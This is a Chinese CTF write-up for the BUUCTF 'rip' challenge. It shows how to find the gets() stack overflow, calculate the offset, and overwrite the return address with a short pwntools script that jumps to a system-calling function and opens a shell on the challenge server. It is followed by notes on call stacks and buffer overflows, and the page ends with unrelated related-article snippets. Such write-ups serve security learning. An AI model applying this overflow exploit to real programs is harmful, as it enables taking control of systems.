pwn学习(3)BUUCTF-rip

news2025/1/12 4:05:00
下载文件,查看文件信息

IDA64打开,发现危险函数gets(),可以判断存在栈溢出漏洞

接着查看fun()函数,发现是system函数,system是C语言下的一个可以执行shell命令的函数

接下来思路就清晰了,需要用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数

函数的局部变量会存放在他的栈中,那么我们在main函数中,双击s变量,查看s分配了多少空间

是十五个字节的空间,也就是在main函数的栈帧中,给s划分了一个15字节的存储空间,

因为是64位的ELF文件,所以rbp是8个字节

那么我们需要8个字节将rbp填满,这样就可以溢出进入return address了,接下来我们输入return address(返回地址),也就是说是fun函数的地址,地址我们可以看到是0x401186

接下来构建EXP:
 

from pwn import *  
p=remote("node4.buuoj.cn",29244) #靶机地址和端口
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)
p.interactive()

运行exp发现跑通了,先ls查看文件,发现flag

 

总结:

1.函数栈知识讲解:

1.函数调用栈是指程序运行时内存一段连续的区域。(特殊的内存)

2.用来保存函数运行时的状态信息,包括函数参数与局部变量等。

3.称之为‘栈’是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶。

4.在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态

5.函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大

函数状态主要涉及三个寄存器————esp,ebp,eip。esp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip用来存储即将执行程序指令的地址,CPU依照eip的存储内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

2.缓冲区溢出(buffer overflow)

 编写程序时没有考虑到控制或者错误控制用户输入的长度,本质就是向定长的缓冲区中写入超长的数据,造成超出的数据覆写了合法内存区域

 栈溢出(Stack overflow)最常见,漏洞比例最高,危害最大的二进制漏洞,在CTF PWN中往往时漏洞利用的基础

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1030363.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电力安全智慧云平台:引领更安全的用电新时

电力能源是人类社会不可或缺的重要资源,其安全稳定供应关系到各行各业的正常运转和千家万户的生活质量。然而,随着电力使用的普及,电力安全问题也日益凸显,一旦发生电力事故,不仅会造成巨大的经济损失,还会…

python随手小练

题目: 使用python做一个简单的英雄联盟商城登录界面 具体操作: print("英雄联盟商城登录界面") print("~ * "*15 "~") #找其规律 a "1、用户登录" b "2、新用户注册" c "3、退出系统&quo…

rv1126-rv1109-test

测试指令 播放音频:aplay aigei.wav 测试时间: 查看系统时间:date 设置时间:date -s "2023-09-21 16:00:00" 设置芯片时间:hwclock -w 查看芯片时间:hwclock 测试背光: echo 0 > sys/class/backlight/backlight/brightness echo 50 > sys/class/backlig…

[python 刷题] 167 Two Sum II - Input Array Is Sorted 15 3Sum

[python 刷题] 167 Two Sum II - Input Array Is Sorted & 15 3Sum 虽然 3 sum 出来的比较早,不过按照解法来说,2 sum II 算是 3 sum 的前置解法 167 Two Sum II - Input Array Is Sorted 题目: Given a 1-indexed array of integers …

图像处理软件Photoshop 2024 mac新增功能

Photoshop 2024 mac是一款图像处理软件的最新版本。ps2024提供了丰富的功能和工具,使用户能够对照片、插图、图形等进行精确的编辑和设计。 Photoshop 2024 mac软件特点 快速性能:Photoshop 2024 提供了更快的渲染速度和更高效的处理能力,让用…

中秋国庆抢票用便签软件记录抢票细则

今年的中秋国庆又连为一体,大家都在庆幸着有一个八天的小长假,一年难得有一次这样的机会,趁着这个小长假必然是要好好出去玩一玩的;如果涉及到长途旅游,少不得提前在12306上进行抢票,怎么才能快速抢到票呢&…

网络编程day04(网络属性函数、广播、组播、TCP并发)

今日任务 对于newfd的话&#xff0c;最好是另存然后传入给分支线程&#xff0c;避免父子线程操作同一个文件描述符 1.广播&#xff1a; 接收端 代码&#xff1a; #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h&…

深度学习文本预处理利器:Tokenizer详解

目录 1 Tokenizer 介绍 1.1 Tokenizer定义 1.2 Tokenizer方法 1.3 Tokenizer属性 2 Tokenizer文本向量化 2.1 英文文本向量化 2.2 中文文本向量化 3 总结 1 Tokenizer 介绍 Tokenizer是一个用于向量化文本&#xff0c;将文本转换为序列的类。计算机在处理语言文字时&…

对本地的静态html文件发送http请求

需要对本地的html文件&#xff0c;或者说静态网页发送请求&#xff0c;只有前端页面&#xff0c;没有后端。前端的文件基本都有。 文件链接&#xff1a;D:/mystudysoft/weixinkaifa/WeChat%20Files/wxid_inmlsqlnnpqs22/FileStorage/File/2023-09/%E5%BE%B7%E5%9B%BD%E4%BA%…

聚观早报|高德发布安全出行大模型;小鹏G9焕新上市

【聚观365】9月21日消息 高德发布安全出行大模型 小鹏G9焕新上市 妙鸭相机上线免费版 Redmi Note 13 Pro支持IP68 Neuralink将进行首次人体临床试验 高德发布安全出行大模型 高德发布了安全出行大模型。据介绍&#xff0c;安全出行大模型基于高德的地图大数据、位置大数据…

FPGA project : DS18B20

本想着一天发一个实验的&#xff0c;这个ds18b20&#xff0c;耗时两天。代码写了两次&#xff0c;呜呜~ 由于第二次写代码没画时序图&#xff0c;所以代码和时序图一些参数有些不一致&#xff0c;但问题不大。 这里有几件事情值得一提&#xff1a; 1&#xff1a;关于状态机的…

Linux系统编程——网络编程的学习

Linux系统编程学习相关博文 Linux系统编程——文件编程的学习Linux系统编程——进程的学习Linux系统编程——进程间通信的学习Linux系统编程——线程的学习 Linux系统编程——网络编程的学习 一、概述1. TCP/UDP2. 端口号3. 字节序4. Sockt服务器和客户端的开发步骤1. 服务器2…

网络编程 day4

1->广播模型 接收方 发送方 2->组播模型 接收方 发送方 3->多进程并发服务器 4->多线程并发服务器

openssl 交叉编译(uclibc)

参考文章 openssl 交叉编译_GeYi1998的博客-CSDN博客 本地实际操作一遍,和网上的文章有些不同. 先下载源码 /source/index.html 使用 1.1.1w的版本,最新的3.0.11试了,编译不过,很多gcc的写法问题(error: initializer element is not constant) 解压到 Document 目录下, h…

视频汇聚/视频云存储/视频监控管理平台EasyCVR分发rtsp流起播慢优化步骤详解

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

iOS自动化测试方案(一):MacOS虚拟机保姆级安装Xcode教程

文章目录 一、环境准备二、基础软件三、扩展&#xff1a;usb拓展插件 一、环境准备 1、下载VMware虚拟机的壳子&#xff0c;安装并注册软件(可以百度注册码)&#xff0c;最新版本&#xff1a;v17 2、下MacOS系统iOS镜像文件&#xff0c;用于vmware虚拟机安装&#xff0c;当前镜…

如何用一行CSS实现10种现代布局

现代 CSS 布局使开发人员只需按几下键就可以编写十分有意义且强大的样式规则。上面的讨论和接下来的帖文研究了 10 种强大的 CSS 布局&#xff0c;它们实现了一些非凡的工作。 超级居中&#xff1a;place-items: center 对于第一个“单行”布局&#xff0c;让我们解决所有 CSS…

使用 PyTorch 的计算机视觉简介 (3/6)

一、说明 在本单元中&#xff0c;我们将了解卷积神经网络&#xff08;CNN&#xff09;&#xff0c;它是专门为计算机视觉设计的。 卷积层允许我们从图像中提取某些图像模式&#xff0c;以便最终分类器基于这些特征。 二、卷积神经网络 计算机视觉不同于通用分类&#xff0c;因…

虚拟机中window/ubuntu系统如何联网?

以下内容源于网络资源的学习与整理&#xff0c;如有侵权请告知删除。 参考博客 &#xff08;1&#xff09;VMware虚拟机中Windows11无法连接网络 &#xff08;2&#xff09;图解vmware虚拟机win8无线上网 &#xff08;3&#xff09;VMware中VMnet0、VMnet1、VMnet8是什么 &…

PyTorch深度学习(七)【循环神经网络-提高】

数据集文末分享。 模型&#xff1a; 做完padding之后&#xff0c;就可以转换为张量了。 bidirectional是是否使用双向RNN: 输出隐层两个&#xff1a; 代码&#xff1a; import csvimport timeimport matplotlib.pyplot as pltimport numpy as npimport mathimport gzip # 用…